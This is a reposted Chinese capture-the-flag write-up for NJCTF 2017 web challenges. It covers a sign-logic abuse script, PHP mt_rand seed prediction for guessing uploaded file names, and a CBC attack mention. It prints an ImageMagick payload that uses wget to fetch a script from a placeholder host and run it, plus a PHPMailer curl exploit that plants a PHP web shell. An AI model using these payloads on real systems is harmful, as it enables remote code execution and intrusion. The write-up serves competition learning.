NJCTF-2017-web-writeup

转载

dengzhasong7076 于 2017-03-15 13:21:00 发布 215 收藏
文章标签： php 数据库 开发工具
原文链接：http://www.cnblogs.com/iamstudy/articles/2017_NJCTF_Some_Web_Writeup.html

记录一下这次比赛web一些有意思的题

Be Logical(450)

http://218.2.197.235:23739/

注册账号密码进去后发现大概是一个，积分可以转换为金币，然后再历史纪录里面又可以将金币转换为积分。第一个感觉肯定这个是逻辑漏洞，感觉积分和金币之间转换的时候，可以利用多线程来跑一下。

在积分转换为金币的页面得知Sign.php，后面猜解文件泄漏为.Sign.php.swp，vim -r xx.swp就可以恢复代码。这个签名验证的代码是将\(_POST的转换后，再加一个`\)code进行md5，所以想尝试把这个$code`跑出来，跑了几个小时，6位以下的小写+数字跑完发现还没破解出来...

仔细理一下逻辑，发现其实应该不需要跑$code，因为后面有页面会把加密的sgin显示出来，所以完全可以先这样得到sgin然后去做其他的事情。所以尝试了一下多线程。

利用的代码

```
import requests
import threading
import re

cookie = {
  'PHPSESSID':'g3s0ngjo918f1ejm9tpqan63v2'
}

s = requests.session()

data = {
  "comment":"1",
  "money":"500a"
}

def g():
  #while 1:
    global data,cookie
    mydata = data.copy()
    mydata['point'] = '500a'
    mydata['mypoint'] = '0'
    mydata['mymoney'] = '0'

    print mydata

    r2 = s.post("http://218.2.197.235:23739/process.php",data=mydata,cookies=cookie)
    sign1 = r2.content.split('value="')[-1][:32]

    mydata['sign'] = sign1
```

```
    r3 = s.post("http://218.2.197.235:23739/action.php",data=mydata,cookies=cookie)
    print r3.content

#------

def ree():
  #while 1:
    global data,cookie
    idd = 0
    r = s.get("http://218.2.197.235:23739/history.php",cookies=cookie)
    m = re.search('<tr><td>(.*?)</td>',r.content)
    if m is not None:
      idd = m.group(1)

    data['id'] = idd
    data['username'] = "nihao"
    data['points'] = '500a'

    url = "http://218.2.197.235:23739/refundprocess.php?comment=%s&id=%s&username=%s&points=%s&money=%s"
    r = s.get(url,cookies=cookie)
    sign = r.content.split('value="')[-1][:32]
    if 'modified' in sign:
      print 'error',idd
      return 0

    data['sign'] = sign

    r1 = s.post("http://218.2.197.235:23739/refund.php",data=data,cookies=cookie)
    if 'Success' in r1.content:
      print 'success',idd
    else:
      print r1.content

g()
ree()

# re(2467)

# list = []
# for i in range(5):
#     t = threading.Thread(target=r)
#     t.setDaemon(True)
#     t.start()
#     list.append(t)
# for i in range(10):
#     t = threading.Thread(target=ree)
#     t.setDaemon(True)
#     t.start()
#     list.append(t)
# for i in list:
#     i.join()
```

跑了挺久感觉也不是很对，转换的时候应该是加了与数据库里面的数据进行判断，所以感觉缺少一个竞争条件。
尝试修改了money等一些参数都为500a的时候发现还是能转，发现应该是对数字做了转化，然后尝试500.0等也不行，最后测试500e1的时候发现钱加到了5000.后面看源码是只是进行一些判断,并没有做什么处理,所以进入数据库能够使用e达到获取更多的积分.

```
if (floatval(floor($_POST['point'])) !== floatval($_POST['point'])) {
  die("the point must be an INTEGER!");
}
```

购买服务后，发现是图片上传的地方，可以进行图片转化，im的命令执行漏洞

poc.png

```
push graphic-context
viewbox 0 0 640 480
image Over 0,0 0,0 '|wget xxx/down/tmp.py -P /tmp/ | python /tmp/tmp.py'
pop graphic-context
```

getshell后find一下没发现flag，看进程的时候发现还有人用了ew工具...看一下arp缓存得到`172.17.0.19`，访问时候一个邮箱系统，这个前面zctf也出了这个，PHPMailer的漏洞

```
curl -sq 'http://172.17.0.19' -d 'subject=<?php system($_GET[1]);?>&email=a( -X/var/www/html/uploads/lemon1
```

Geuess(250)

发现是一个包含，可以读取到源码

```php
<?php
function random_str($length = "32") {
    $set = array("a", "A", "b", "B", "c", "C", "d", "D", "e", "E", "f", "F",
        "g", "G", "h", "H", "i", "I", "j", "J", "k", "K", "l", "L",
        "m", "M", "n", "N", "o", "O", "p", "P", "q", "Q", "r", "R",
        "s", "S", "t", "T", "u", "U", "v", "V", "w", "W", "x", "X",
        "y", "Y", "z", "Z", "1", "2", "3", "4", "5", "6", "7", "8", "9");
    $str = '';

    for ($i = 1; $i <= $length; ++$i) {
        $ch = mt_rand(0, count($set) - 1);
        $str .= $set[$ch];
    }

    return $str;
}

session_start();

$reg = '/gif|jpg|jpeg|png/';
if (isset($_POST['submit'])) {

    $seed = rand(0, 999999999);
    mt_srand($seed);
    $ss = mt_rand();
    $hash = md5(session_id() . $ss);
    setcookie('SESSI0N', $hash, time() + 3600);
....
    if ($check1) {
        $filename = './uP1O4Ds/' . random_str() . '_' . $_FILES['file-upload-field']['name'];
        if (move_uploaded_file($_FILES['file-upload-field']['tmp_name'], $filename))
}
```

如果sessionid是没有的话，那么session_id()就是空字符串，这样的话，hash就是$ss的md5值，也就是纯数字，放cmd5解密就可以得到明文，也就是随机数，mt_rand生成的随机数是可以破解得到种子，所以可以再通过种子预测到后面的random_str的值，从而得到上传的文件名.

预测种子的工具:
http://files.cnblogs.com/files/iamstudy/php_mt_seed-3.2.tar.gz

exp:

```php
<?php
mt_srand(369252519);
echo mt_rand()."\n\r";
function random_str($length = "32") {
  $set = array("a", "A", "b", "B", "c", "C", "d", "D", "e", "E", "f", "F",
    "g", "G", "h", "H", "i", "I", "j", "J", "k", "K", "l", "L",
    "m", "M", "n", "N", "o", "O", "p", "P", "q", "Q", "r", "R",
    "s", "S", "t", "T", "u", "U", "v", "V", "w", "W", "x", "X",
    "y", "Y", "z", "Z", "1", "2", "3", "4", "5", "6", "7", "8", "9");
  $str = '';

  for ($i = 1; $i <= $length; ++$i) {
    $ch = mt_rand(0, count($set) - 1);
    $str .= $set[$ch];
  }

  return $str;
}

echo random_str()."\n\r";
```

这里要注意的是，因为在random_str之前还有一个mt_rand();，所以exp里面要写上一个,不然会预测出错.当时就是坑在这个地方.

后面一个就是zip包含jpg，getshell.

最后还有一个be admin的题目,是cbc模式的安全问题，oracle padding和字节反转，经过md5 padding后，这个最近ctf出现过很多次。(*_*)，这个得再另起一篇文章来学习。

转载于:https://www.cnblogs.com/iamstudy/articles/2017_NJCTF_Some_Web_Writeup.html